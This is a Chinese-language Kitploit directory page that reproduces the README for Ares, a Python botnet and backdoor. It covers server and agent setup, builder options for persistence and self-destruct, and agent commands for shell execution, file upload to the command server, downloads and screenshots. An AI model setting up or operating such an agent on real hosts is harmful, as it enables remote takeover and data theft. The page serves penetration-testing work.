Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Ares — Python 僵尸网络和后门 | Kitploit
工具/GitHubGitHub/sweetsoftware/ares
Payload生成持久化机制后渗透利用命令与控制远程访问工具
GitHubsweetsoftware/ares

Ares

Python 僵尸网络和后门

查看仓库
1.6k473178年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Ares

Ares 是一个 Python 远程访问工具。

警告:请仅根据您当前的法律法规使用本软件。滥用此软件可能会引发法律和道德问题,我不支持也不对此负责。

Ares 由两个主要程序组成:

  • 一个命令与控制(CnC)服务器,这是一个用于管理代理的 Web 界面
  • 一个代理程序,运行在受控主机上,负责与 CnC 通信

Web 界面可以在任何运行 Python 的服务器上运行。代理可以使用 pyinstaller 编译为本机可执行文件。

设置

安装 Python 依赖:

pip install -r requirements.txt

初始化数据库:

cd server
./ares.py initdb

为了在 Linux 上编译 Windows 代理,设置 wine(可选):

./wine_setup.sh

服务器

使用内置(调试)服务器运行:

./ares.py runserver -h 0.0.0.0 -p 8080 --threaded

或者使用 gunicorn 运行:

gunicorn ares:app -b 0.0.0.0:8080 --threads 20

现在可以通过 http://localhost:8080 访问服务器。

代理

运行 Python 代理(根据需要更新 config.py):

cd agent
./agent.py

将新代理构建为独立的二进制文件:

./builder.py -p Linux --server http://localhost:8080 -o agent
./agent

要查看支持的选项列表,请运行 ./builder.py -h

./agent/builder.py -h
usage: builder.py [-h] -p PLATFORM --server SERVER -o OUTPUT
                  [--hello-interval HELLO_INTERVAL] [--idle_time IDLE_TIME]
                  [--max_failed_connections MAX_FAILED_CONNECTIONS]
                  [--persistent]

Builds an Ares agent.

optional arguments:
  -h, --help            show this help message and exit
  -p PLATFORM, --platform PLATFORM
                        Target platform (Windows, Linux).
  --server SERVER       Address of the CnC server (e.g http://localhost:8080).
  -o OUTPUT, --output OUTPUT
                        Output file name.
  --hello-interval HELLO_INTERVAL
                        Delay (in seconds) between each request to the CnC.
  --idle_time IDLE_TIME
                        Inactivity time (in seconds) after which to go idle.
                        In idle mode, the agent pulls commands less often
                        (every <hello_interval> seconds).
  --max_failed_connections MAX_FAILED_CONNECTIONS
                        The agent will self destruct if no contact with the
                        CnC can be made <max_failed_connections> times in a
                        row.
  --persistent          Automatically install the agent on first run.

支持的代理命令

<any shell command>
Executes the command in a shell and return its output.

upload <local_file>
Uploads <local_file> to server.

download <url> <destination>
Downloads a file through HTTP(S).

zip <archive_name> <folder>
Creates a zip archive of the folder.

screenshot
Takes a screenshot.

python <command|file>
Runs a Python command or local file.

persist
Installs the agent.

clean
Uninstalls the agent.

exit
Kills the agent.

help
This help.
下载工具